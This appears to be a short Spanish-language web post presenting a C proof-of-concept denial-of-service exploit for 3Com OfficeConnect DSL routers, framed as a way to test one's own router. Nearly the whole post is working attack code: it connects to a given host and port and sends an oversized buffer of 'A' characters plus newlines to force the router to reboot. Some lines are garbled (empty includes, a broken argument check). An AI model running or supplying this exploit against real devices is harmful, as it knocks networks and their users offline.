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    Exploit para detectar si tu router soporta ataque por DoS o no

    Exploit:
    /* 3com-DoS.c
    *
    * PoC DoS exploit for 3Com OfficeConnect DSL Routers.
    * discovered by David F. Madrid.
    *
    * Successful exploitation of the vulnerability should cause the router to
    * reboot. It is not believed that arbitrary code execution is possible -

    * check advisory for more information.
    *
    * -shaun2k2
    */

    #include
    #include
    #include
    #include
    #include
    #include

    int main(int argc, char *argv[]) {
    if(argc printf("3Com OfficeConnect DSL Router DoS exploit by shaun2k2 - shaunige@yahoo.co.uk>\n\n");
    printf("Usage: 3comDoS \n");
    exit(-1);
    }

    int sock;
    char explbuf[521];
    struct sockaddr_in dest;
    struct hostent *he;

    if((he = gethostbyname(argv[1])) == NULL) {
    printf("Couldn't resolve %s!\n", argv[1]);
    exit(-1);
    }

    if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
    perror("socket()");
    exit(-1);
    }

    printf("3Com OfficeConnect DSL Router DoS exploit by shaun2k2 - shaunige@yahoo.co.uk>\n\n");

    dest.sin_addr = *((struct in_addr *)he->h_addr);
    dest.sin_port = htons(atoi(argv[2]));
    dest.sin_family = AF_INET;

    printf("[+] Crafting exploit buffer.\n");
    memset(explbuf, 'A', 512);
    memcpy(explbuf+512, "\n\n\n\n\n\n\n\n", 8);

    if(connect(sock, (struct sockaddr *)&dest, sizeof(struct sockaddr)) ==
    -1) {
    perror("connect()");
    exit(-1);
    }

    printf("[+] Connected...Sending exploit buffer!\n");
    send(sock, explbuf, strlen(explbuf), 0);
    sleep(2);
    close(sock);
    printf("\n[+] Exploit buffer sent!\n");
    return(0);
    }

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